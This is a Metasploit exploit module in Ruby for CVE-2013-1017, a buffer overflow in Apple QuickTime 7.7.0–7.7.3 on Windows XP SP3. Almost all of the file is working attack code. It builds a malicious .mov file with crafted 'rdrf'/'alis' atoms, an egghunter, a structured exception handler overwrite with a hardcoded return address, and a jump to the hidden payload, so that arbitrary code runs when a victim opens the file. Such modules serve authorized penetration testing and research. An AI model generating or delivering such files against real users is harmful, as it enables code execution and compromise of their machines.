##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in Apple QuickTime. The flaw is
          triggered when QuickTime fails to properly handle the data length for certain
          atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
          overflow by loading a specially crafted .mov file, and allows arbitrary
          code execution under the context of the current user. Please note: Since an egghunter
          is used to search for the payload, this may require additional time for
          the exploit to complete.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
          'Tom Gallagher', # Original Discovery (overlapped)
          'Paul Bates',    # Original Discovery (overlapped)
          'sinn3r'         # Metasploit
        ],
        'References' => [
          [ 'CVE', '2013-1017' ],
          [ 'OSVDB', '93625' ],
          [ 'BID', '60097' ],
          [ 'URL', 'http://support.apple.com/kb/HT5770' ],
          [ 'ZDI', '13-110' ]
        ],
        'Platform' => 'win',
        'Targets' => [
          # Ret = P/P/R in Quicktime.qtx
          # Tested on:
          # Quicktime 7.7.0
          # Quicktime 7.7.1
          # Quicktime 7.7.2
          # Quicktime 7.7.3
          [ 'Quicktime 7.7.0 - 7.7.3 on Windows XP SP3', { 'Ret' => 0x66801042 } ]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Privileged' => false,
        'DisclosureDate' => '2013-05-22',
        'DefaultTarget'	=> 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.mov']),
      ]
    )
  end

  def sort_bytes(data)
    buf = ''
    0.step(data.length, 2) do |i|
      buf << data[i, 2].reverse
    end

    buf
  end

  def exploit
    fsize = 0

    badchars = payload_badchars
    hunter, egg = generate_egghunter(payload.encoded, badchars, { :checksum => true })

    buf = ''
    buf << "\x61" * 5                                  # Make sure our NOPs don't cause AV
    buf << sort_bytes(make_nops(4))                    # Pad 9 bytes to ensure alignment
    buf << sort_bytes(hunter)                          # egg huntin'
    buf << rand_text_alpha(607 - buf.length)           # Offset 607 to nSEH
    buf << sort_bytes("\xeb\x06#{rand_text_alpha(2)}") # nSEH
    buf << sort_bytes([target.ret].pack("V*"))         # SE Handler
    buf << sort_bytes("\xe9\x95\xfd\xff\xff\xff")      # Jmp to egghunter
    buf << rand_text_alpha(50)                         # After SEH, only ~33 bytes
    buf << egg                                         # Should be found somewhere else

    # Quicktime File Format Specifications:
    # https://developer.apple.com/standards/qtff-2001.pdf
    mov = "\x00\x00\x06\xDF" # File size
    mov << "moov"                # Movie atom
    mov << "\x00\x00\x06\xD7"    # size (1751d)
    mov << "rmra"                # Reference Movie atom
    mov << "\x00\x00\x06\xCF"    # size (1743d)
    mov << "rmda"                # rmda atom
    mov << "\x00\x00\x06\xBF"    # size (1727d)
    mov << "rdrf"                # Data reference atom
    mov << "\x00\x00\x00\x00"    # size set to 0
    mov << "alis"                # Data reference type: FS alias record
    mov << "\x00\x00\x06\xAA"    # Size (1706d)
    mov << rand_text_alpha(8)
    mov << "\x00\x00\x06\x61"    # Size (1633d)
    mov << rand_text_alpha(38)
    mov << "\x12"
    mov << rand_text_alpha(81)
    mov << "\xFF\xFF"
    mov << rand_text_alpha(18)
    mov << "\x00\x08"            # Size (8d)
    mov << rand_text_alpha(8)
    mov << "\x00\x00"
    mov << "\x00\x08"            # Size (8d)
    mov << rand_text_alpha(8)
    mov << "\x00\x00"
    mov << "\x00\x26"            # Size (38d)
    mov << rand_text_alpha(38)
    mov << "\x00\x0F\x00\x0E"
    mov << "AA"                  # Size (must be invalid)
    mov << rand_text_alpha(12)
    mov << "\x00\x12\x00\x21"
    mov << rand_text_alpha(36)
    mov << "\x00"
    mov << "\x0F\x33"
    mov << rand_text_alpha(17)
    mov << "\x02\xF4"            # Size (756h)
    mov << rand_text_alpha(756)
    mov << "\xFF\xFF\x00\x00\x00"
    fsize += mov.length
    mov << buf
    fsize += buf.length

    mov[0, 4] = [fsize].pack("N")

    print_status("Creating #{datastore['FILENAME']}")
    file_create(mov)
  end
end
